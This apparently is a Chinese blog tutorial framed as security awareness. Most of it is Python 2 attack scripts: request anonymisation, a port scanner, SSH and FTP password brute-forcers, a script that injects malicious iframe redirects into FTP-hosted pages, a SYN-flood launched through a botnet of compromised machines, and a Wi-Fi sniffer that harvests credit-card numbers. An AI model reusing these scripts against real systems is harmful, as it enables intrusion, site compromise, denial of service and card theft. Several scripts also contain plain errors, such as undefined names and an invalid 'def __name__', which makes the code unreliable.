每個人都應該懂點攻防

ES2049發表於2022-04-01

網路如此發達的今天,攻擊無處不在,而每一次攻擊的成功往往造成資訊的洩漏,嚴重者甚至帶來經濟的損失。所以作為技術人員,我們每個人都應該懂一點攻防;這樣做雖然無法做到完全保護個人隱私,但對增強個人安全意識還是有幫助的。

可能大家會覺得攻防是一件很神祕且需要高深技術的事(PS:事實也是如此,因為其通常涉及隱私,大家肯定不會天天將隱私掛在嘴邊),但我們的目的不是成為 Hacker,當然也不是成為指令碼小子,而是瞭解在複雜的網路環境中如何保護自己,讓自己不至於成天在網際網路的世界裡裸奔而不自知。

想要了解攻防,我們首先得選擇自己的語言工具,Python 語法簡單、第三方庫豐富十分適合作為我們的首選語言(本文例子將採用 Python 2.x 語法書寫)。Mac 上便自帶了 Python,當然我們可以搭建更專業的系統,BackTrack 就是不錯的選擇,該系統提供了大量用於網路分析、滲透測試、無線攻擊等的工具。

既然工具已有,接下來我們逐步探索攻擊者在網路中都會做些什麼?

隱匿行蹤

一個優秀的攻擊者在發起攻擊時首先都會隱匿個人行蹤!大家知道,在訪問網站時我們會用到 Web 瀏覽器,而通過瀏覽器跟目標網站互動時會有很多手段記錄使用者的資訊,如:IP、User-Agent、Cookie 等。專業的攻擊者需要抹去這些資訊,讓被訪問網站不知道自己是誰;這裡我們不通過 Web 瀏覽器,而是直接使用 mechanize 庫來訪問網站,我們需要:

通過 VPN、Tor 網路或代理伺服器匿名 IP(獲取代理

import mechanize
def hideIp(url, proxy):
    browser = mechanize.Browser() # 建立瀏覽器物件
    browser.set_proxies(proxy) # 此處使用代理隱匿
    page = browser.open(url) # 開啟網址
    source_code = page.read() # 讀取網頁內容
    print source_code # 輸出內容
url = 'xxxxx'
hideProxy = {'http': 'xxx.xxx.xxx.xxx:xxxx'}
hideIp(url, hideProxy)

直接偽造 UA 隱匿 User-Agent 相關資訊(有效 UA 串

import mechanize
def hideUA(url, userAgent):
    browser = mechanize.Browser() # 建立瀏覽器物件
    browser.addheaders = userAgent # 修改 UA 頭部資訊
    page = browser.open(url) # 開啟網址
    source_code = page.read() # 讀取網頁內容
    print source_code # 輸出內容
url = 'xxxxx'
userAgent = [('User-agent', 'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')]
hideIp(url, hideProxy)

清除瀏覽器 Cookie 後繼續訪問地址(用 Python 核心庫 Cookielib 即可實現)

import mechanize, cookielib
def hideCookie(url, cookieJar):
    browser = mechanize.Browser() # 建立瀏覽器物件
    browser.set_cookiejar(cookieJar) # 修改 Cookie
    page = browser.open(url) # 開啟網址
    source_code = page.read() # 讀取網頁內容
    print source_code # 輸出內容
url = 'xxxxx'
cookie_jar = cookielib.LWPCookieJar()
hideIp(url, cookie_jar)

為方便後續進行資訊收集,我們將隱匿程式碼整合形成 safeBrowser 類:

import mechanize, cookielib, random
class safeBrowser(mechanize.Browser):
    def __init__(self, proxies = [], user_agents = []): # 初始化
        mechanize.Browser.__init__(self)
        self.set_handle_robots(False)
        self.proxies = proxies
        self.user_agents = user_agents + ['Mozilla/4.0 FireFox/6.01', 'ExactSearch', 'Nokia7110/1.0']
        self.cookie_jar = cookielib.LWPCookieJar()
        self.set_cookiejar(self.cookie_jar)
        self.anonymize()
    def chear_cookies(self): # 清理 cookie
        self.cookie_jar = cookielib.LWPCookieJar()
        self.set_cookiejar(self.cookie_jar)
    def change_user_agent(self): # 修改 UA
        index = random.randrange(0, len(self.user_agents))
        self.addheaders = [('User-agent', (self.user_agents[index]))]
    def change_proxy(self): # 修改代理
        if self.proxies:
            index = random.randrange(0, len(self.proxies))
            self.set_proxies({'http': self.proxies[index]})
    def anonymize(self, sleep = False):
        self.chear_cookies()
        self.change_user_agent()
        self.change_proxy()
        if sleep: # 程式休眠,控制兩次請求之間時間間隔,可以有效降低伺服器認為是同一行為的可能性
            time.sleep(60)

當然,隱匿的手法還有很多很多(TTL 偽造、fast-flux、domain-flux 等),此處就不再一一贅述。

收集資訊

在隱匿了個人行蹤後,攻擊者會從社會工程學的角度獲取跟攻擊物件相關的一切資訊(如:擁有許可權的人、橫向安全性弱的系統等),因為越全面的資訊越能幫助攻擊取得成功;當然也不排除攻擊者為了進行無差別攻擊而進行的資訊收集(如:資源爬蟲、網路詐騙等)。

一般想到資訊收集,大家第一反應肯定是 google 或 baidu 一下,搜尋引擎確實能幫我們找到很多有用的資訊,不過如果手動搜尋效率會比較低,好在此類引擎都有提供搜尋介面供使用,以 google 為例:

import json, urllib
from safeBrowser import * # 引入上面定義的 safeBrowser 類
def getInfo(search_key):
    browser = safeBrowser()
    search_key = urllib.quote_plus(search_key) # 編碼搜尋關鍵字
    res = browser.open('http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=' + search_key)
    resObj = json.load(res) # json 格式化資料
    print resObj
getInfo('test')

如此,我們便可通過關鍵字獲取到相關資訊的一個 JSON 物件,如果只需要某部分資訊再對物件做精確解析即可。

有時候獲取目標群體在某些社交平臺釋出的資訊也很重要,如 Twitter 平臺,此類平臺也會提供供開發者使用的 API,如我們想獲取某人在 Twitter 上釋出的資訊:

import json, urllib
from safeBrowser import *
class reconPerson:
    def __init__(self, first_name, last_name, job='', social_media={}):
        self.firset_name = firset_name
        self.last_name = last_name
        self.job = job
        self.social_media = social_media
    def __repr__(self):
        return self.firset_name + ' ' + self.last_name + ' has job ' + self.job
    def get_social(self, media_name):
        if self.social_media.has_key(media_name):
            return self.social_media[media_name]
        return None
    def query_twitter(self, search_key):
        search_key = urllib.quote_plus(search_key)
        browser = safeBrowser()
        res = browser.open('http://search.twitter.com/serarch.json?q=' + query)
        resObj = json.load(response)
        return resObj
recon = reconPerson('xxx', 'xxx')
print recon.query_twitter('from:xxx since: 2022-03-14 include: xxx')

除了上面這些資訊,其他資訊也很重要,如:目標公司對應的公網 ip、法人資訊等、ip 對應的 mac 地址,此類資訊網上有很多平臺可以查詢到(如:企查查),大家可自行上網搜尋。

發起攻擊

在攻擊者掌握了相關資訊後,下一步就是發起攻擊了,這也是大家最關心的一步;下面我們來看幾種常見的攻擊手法。

偵查&撞庫

假設我們現在只知道目標伺服器的 IP,此時我們想要發起攻擊就需要知道更多的資訊,如:開放的埠、使用的伺服器相關資訊等。如果我們發現伺服器上開放了某些不安全埠或部署的服務是某個存在漏洞的版本,便可直接發起攻擊。偵查指令碼如:

import optparse # 命令列引數解析
import socket # BSD 巢狀字訪問
from socket import *
from threading import Thread # 多執行緒
def connScan(host, port): # 執行掃描
    try:
        conn = socket(AF_INET, SOCK_STREAM)
        conn.connect((host, port)) # 連線服務
        conn.send('xxx\r\n') # 傳送資料以獲取伺服器響應
        res = conn.recv(100) # 獲取響應前 100 字元
        print '[+]%d/tcp open' %port
        print '[+] ' + str(res)
    except:
        print '[-]%d/tcp closed' %port
def protScan(host, ports):
    try:
        ip = gethostbyname(host) # 根據 host 獲取 ip
    except:
        print "[-] Cannot resolve '%s': Unknown host" %host
        return
    try:
        name = gethostbyaddr(ip) # 獲取主機資訊
        print '\n[+] Scan Results for: ' + name[0]
    except:
        print '\n[+] Scan Results for: ' + ip
    setdefaulttimeout(1) # 設定超時,防止響應時間過長導致程式卡住
    for port in ports:
        print 'Scanning port ' + port
        thr = Thread(target=connScan, args=(host, int(port))) # 開啟多執行緒掃描
        thr.start()
def main():
    # 定義引數
    parser = optparse.OptionParser("usage%prog -H <target host> -P <target port>")
    parser.add_option('-H', dest='host', type='string', help='target host')
    parser.add_option('-P', dest='port', type='string', help='target port[s]')
    # 引數解析
    (options, args) = parser.parse_args()
    host = options.host
    ports = str(options.port).split(',')
    if (host == None) | (ports[0] == None):
        print '[-] You must specify a target host and port[s].'
        exit(0)
    portScan(host, ports)
if __name__ == '__main__':
    main()

如此,我們便可通過簡單的指令完成對目標的偵查:python portScan.py -H xx.xx.xx.xx -P 21,80,443。當然我們有更方便的工具庫來做偵查:python-nmap,可以解放我們手動定義指令碼偵查過程。

上面的偵查方法有時候能直接找到系統漏洞,然而我們更希望的是能直接獲取更高許可權(如:在連線伺服器後直接執行指令),在弱口令機器上我們可直接通過撞庫的形式來嘗試破解口令。我們需要注意:通常進行 SSH 連線時會存在互動過程,比如輸入 SSH user@host 後會讓我們先確認 RSA,確認後再要求輸入密碼,我們可以需要採用 Pexpect 或 Pxssh 庫來完成整個互動&撞庫過程:

import pxssh
import optparse
import time # 時間控制
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections) # 連線加鎖,防止結果亂序
Found = False
Fails = 0

def send_command(s, cmd): # 撞庫成功後向伺服器傳送指令
    s.sendline(cmd)
    s.prompt()
    print s.before

def conn(host, user, password, release): # 發起連線
    global Found
    global Fails
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print '[+] Password Found: ' + password
        Found = True
    except Exception, e:
        if 'read_nonblocking' in str(e): # SSH 伺服器被大量連線刷爆,過一段時間重新發起
            Fails += 1
            time.sleep(5) # 手動延遲
            conn(host, user, password, False)
        elif 'synchronize with original prompt' in str(e): # pxssh 命令提示符提取困難,過一會重新發起
            time.sleep(1) # 手動延遲
            conn(host, user, password, False)
        finally:
            if release:
                connection_lock.release() # 釋放鎖
def main():
    # 定義引數
    parser = optparse.OptionParser("usage%prog -H <target host> -u <user> -F <password list>")
    parser.add_option('-H', dest='host', type='string', help='target host')
    parser.add_option('-u', dest='user', type='string', help='the user')
    parser.add_option('-F', dest='passwordFile', type='string', help='password file') # 密碼字典
    # 引數解析
    (options, args) = parser.parse_args()
    host = options.host
    user = options.user
    passwordFile = options.passwordFile
    if host == None or passwordFile == None or user == None:
        print parser.usage
        exit(0)
    fn = open(passwordFile, 'r') # 開啟密碼字典
    for line in fn.readlines():
        if Found: # 找到密碼
            print "[*] Exiting: Password Found"
            exit(0)
        if Fails > 10: # 超時過多
            print "[!] Exiting: Too Many Socket Timeouts"
            exit(0)
        connection_lock.acquire() # 執行緒加鎖
        password = line.strip('\r').strip('\n') # 取密碼庫中的一行資料
        t = Thread(target=conn, args=(host, user, password, True))
        child = t.start()
if __name__ == '__main__':
    main()

現在只要有“密碼字典”便可直接發起撞庫攻擊(攻擊者都會有自己的密碼字典),一旦撞庫成功便可通過 send_command 方法發起可執行指令。撞庫不僅可以用來暴力破解伺服器口令,還可以用來破解加密檔案、使用者密碼等資料。

所以我們平時在設定密碼時不同網站應採用不同密碼,且儘可能使密碼的熵值更高!

由於我們的暴力破解會不斷的向服務端傳送登陸指令,如果目標伺服器上部署了 IDS(入侵檢測系統)還是很容易發現的,通過 IPS(入侵防禦系統)便可直接阻止攻擊。

病毒感染

聰明的獵手往往更喜歡守株待兔,通過攻擊某些存在漏洞的網站或直接構造一個帶病毒網站,等待使用者訪問。一旦使用者發起訪問,便可以使用反向連線訪問者主機開啟連線後門或種入病毒繼續傳播等方式使其為攻擊者所用。假設攻擊者針對 FTP 服務發起攻擊:

import ftplib
import optparse
import time
def anonLogin(hostname): # FTP 允許匿名訪問時隨便偽造一個使用者登陸
    try:
        ftp = ftp.FTP(hostname)
        ftp.login('anonymous', 'test@test.com')
        print '\n[*] ' + str(hostname) + ' FTP Anonymous Login Succeeded.'
        ftp.quit()
        return True
    except Exception, e:
        print '\n[-] ' + str(hostname) + ' FTP Anonymous Login Failed.'
        return False
def bruteLogin(hostname, passwordFile): # FTP 不允許匿名登陸,採用前面用過的暴力破解
    file = open(passwordFile, 'r')
    for line in file.readlines():
        time.sleep(1)
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        print '[+] Trying: ' + userName + '/' + passWord
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print '\n[*] ' + str(hostname) + 'FTP Login Succeeded: ' + userName + '/' + passWord
            ftp.quit()
            return (userName, passWord)
        except Exception, e:
            pass
    print '\n[-] Could not brute force FTP credentials.'
    return (None, None)
def returnDefault(ftp): # 找出 FTP 伺服器上部署的所有 .php、.html、.asp 檔案
    try:
        dirList = ftp.nlst()
    except:
        dirList = []
        print '[-] Could not list directory contents.'
        print '[-] Skipping To Next Target.'
        return
    retList = []
    for fileName in dirList:
        fn = fileName.lower()
        if '.php' in fn or '.html' in fn or '.asp' in fn:
            print '[+] Found default page: ' + fileName
            retList.append(fileName)
    return retList
def injectPage(ftp, page, redirect): # 將找出的檔案下載並寫入重定向地址後重新上傳,等待使用者訪問重定向後的惡意頁面
    f = open(page + '.tmp', 'w')
    ftp.retrlines('RETR ' + page, f.write)
    print '[+] Downloaded Page: ' + page
    f.write(redirect)
    f.close()
    print '[+] Injected Malicious IFrame on: ' + page
    ftp.storlines('STOR ' + page, open(page + '.tmp'))
    print '[+] Uploaded Injected Page: ' + page
def attact(username, password, tgtHost, redirect): # 攻擊執行
    ftp = ftplib.FTP(tgtHost)
    ftp.login(username, password)
    defPages = returnDefault(ftp)
    for defPage in defPages:
        injectPage(ftp, defPage, redirect)
def main():
    # 定義引數
    parser = optparse.OptionParser("usage%prog -H <target host[s]> -r <redirect page> [-f <userpass file>]")
    parser.add_option('-H', dest='hosts', type='string', help='target hosts')
    parser.add_option('-r', dest='redirect', type='string', help='redirection page')
    parser.add_option('-f', dest='passwordFile', type='string', help='user/password file') # 密碼字典
    # 引數解析
    (options, args) = parser.parse_args()
    hosts = options.host
    redirect = options.redirect
    passwordFile = options.passwordFile
    if hosts == None or redirect == None:
        print parser.usage
        exit(0)
    for tgtHost in hosts:
        username = None
        password = None
        if anonLogin(tgtHost) == True:
            username = anonymous
            password = 'test@test.com'
            print '[+] Using Anonymous Creds to attack'
            attack(username, password, tgtHost, redirect)
        elif passwordFile != None:
            (username, password) = bruteLogin(tgtHost, passwordFile)
            if password != None:
                print '[+] Using Creds: ' + username + '/' + password + 'to attack'
                attack(username, password, tgtHost, redirect)
if __name__ == '__main__':
    main()

Metasploit 可以幫助快速建立惡意伺服器和頁面(可建立反向 SSH 連線),也就是我們需要的 redirect。這樣我們一旦攻破某個伺服器上的 FTP 服務,便可守株待兔等待使用者訪問,使用者發起訪問後便可進行病毒傳播和主機控制。

所以建議大家平時不要訪問一些明顯會有病毒的網頁,意外的開啟也需立刻關閉。

網路攻擊

前面的病毒感染可以使我們的主機被攻擊者抓取變成供其使用的“肉機”,擁有肉機的攻擊者可以指揮肉機發起 DDos 等攻擊,使目標站點無法響應等。我們採用 Scapy 來構造報文(其他網路攻擊只需根據攻擊特性偽造對應報文即可)並指揮肉機發起一個 SYN 泛洪攻擊:

在肉機中植入攻擊指令碼:

from scapy.all import *
def synFlood(src, tgt):
    for sport in range(1024, 65535):
        IPlayer = IP(src=src, dst=tgt)
        TCPlayer = TCP(sport=sport, dport=513)
        pkt = IPlayer / TCPlayer
        send(pkt)
src="xxxxx"
tgt="xxxxx"
synFlood(src, tgt)

連線肉機執行命令:

import optparse
import Pxssh
btoNet = []

class Client:
    def __init__(self, host, user, password): # 初始化
        self.host = host
        self.user = user
        self.password = password
        self.session = self.conn()
    def conn(self): # 連線機器
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception, e:
            print e
            print '[-] Error Connecting'
    def send_command(self, cmd): # 傳送命令
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before
def botnetCommand(cmd):
    for client in botNet:
        output = client.send_command(cmd)
def addClient(host, user, password):
    client = Client(host, user, password)
    botNet.append(client)
addClient('xxxxx', 'xx', 'xx') # 新增肉機
addClient('xxxxx', 'xx', 'xx')
addClient('xxxxx', 'xx', 'xx')
addClient('xxxxx', 'xx', 'xx')
botnetCommand('python synFlood.py') # 使肉機批量執行命令

為了避免自己主機被抓取當成肉機,定期的全盤病毒掃描是有意義的。

無線攻擊

攻擊者還可以通過直接竊聽無線訊號後進行攻擊,比如監聽 802.11 協議簇(IEEE 為無線區域網路制定的標準),一旦有使用者連線上攻擊者提供的免費無線區域網,在其中傳送的資訊就會容易被竊取。

aircrack-ng 可以幫助攻擊者破解無線 802.11 WEP 和 WAP-PSK 加密,結合混雜模式(如:airmon-ng start wlan0 將無線網路卡 wlan0 改為混雜模式)下的嗅探網路卡(如:CSR 公司的晶片組)便可對資訊進行嗅探。同樣我們使用 Scapy 進行嗅探和分析。

import re # 正則庫
import optparse
from scapy.all import *
def findCreditCard(pkt): # 匹配報文中的卡號資訊
    row = pkt.sprintf('%Row.load%')
    americaRE = re.findall('3[47][0-9]{13}', row)
    if americaRE:
        print '[+] Found American Express Card: ' + americaRE[0]
def main():
    parser = optparse.OptionParser("usage%prog -i <interface>")
    parser.add_option('-i', dest='interface', type='string', help='interface to listen on')
    (options, args) = parser.parse_args()
    if options.interface == None:
        print parser.usage
        exit(0)
    else:
        conf.iface = options.interface # 繫結嗅探用網路卡
    try:
        print '[*] Starting Credit Card Sniffer.'
        sniff(filter='tcp', prn=findCreditCard, store=0) # 只嗅探 tcp 報文
    except:
        exit(0)
if __name__ == '__main__':
    main()

從這裡可以看出,如果連線到一些免費公開的區域網時,可能會面臨被攻擊的風險。而且無線攻擊能做到的遠不止示例說寫,它還能看到你去過哪裡、使用的什麼裝置、傳送過什麼敏感資訊,甚至在破解某些互動協議後能做到控制汽車、無人機等。

為了避免資訊洩露,請不要隨意連線未知無線網路。

調查取證

通過不斷的學習,大家都可以具備攻擊能力;但我們要強調的是:請嚴格遵守國家的法律法規,切勿心生歹念,常在河邊走,哪有不溼鞋!只要攻擊者在網路中留下蛛絲馬跡,就會存在被溯源發現的風險,如:

  • 某些檔案後設資料中可能會記錄使用者的相關資訊,我們可能聽過:

    • BTK 殺人狂魔寄送給 KSAS 電視臺的軟盤中有一個 Test.A.rtf 檔案,此檔案後設資料中記錄了一個實體地址導致 BTK 被抓獲
    • 軍隊不允許士兵使用手機,因為照片等檔案後設資料中會記錄座標未知等資訊,導致部隊被探查到
  • 前面提到網站中有很多欄位會記錄使用者資訊(如:IP 等),除了上面提到的,SQLite 之類的資料庫也可能存在某些資訊
  • 系統登錄檔中也可能含有使用者資訊,如:HKEY_LOCAL_MACHINE\SOFT-WARE\Microsoft\Window NT\CurrentVersion\ProfileList\<SID>\ProfileImagePath 中儲存了 SID 對應的準確使用者名稱
  • ...

我們來看一個取證的例子:通過 Dpkt 流量分析工具解析伺服器上接收到的資料包,從資料包中獲取 ip 地址,最後通過 GeoLiteCity 查詢到對應的座標:

import dpkt # 流量分析工具,功能類似前面用到的 scapy
import pygeoip # ip 轉座標
import socket
gi = pygeoip.GeoIP('/opt/GeoIP/Geo.dat')
def getRecord(tgt):
    rec = gi.record_by_name(tgt)
    city = rec['city'] # 城市
    region = rec['region_name'] # 地區
    country = rec['country_name']
    long = rec['longitude'] # 經度
    lat = rec['latitude'] # 緯度
    return str(city) + ',' + str(region) + ',' + str(country) + '[Latitude:' + str(lat) + 'Longitude:' + str(long) + ']'
def printPcap(pcap):
    for (ts, buf) in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(buf)
            ip = eth.data
            src = scoket.inet_ntoa(ip.src)
            dst = scoket.inet_ntoa(ip.dst)
            print '[+] Src:' + getRecord(src) + ' ---> Dst:' + getRecord(dst)
        except:
            pass
def main():
    f = open('test.pcap') # 開啟 test.pcap 報文
    pcap = dpkt.pcap.Reader(f) # 讀取報文
    printPcap(pcap)
def __name__ == '__main__':
    main()

至此,我們對常見攻擊應該有了大致認識,最後推薦一些安全學習的網址:

作者:ES2049 / Merlion

文章可隨意轉載,但請保留此原文連結
非常歡迎有激情的你加入 ES2049 Studio,簡歷請傳送至 caijun.hcj@alibaba-inc.com

相關文章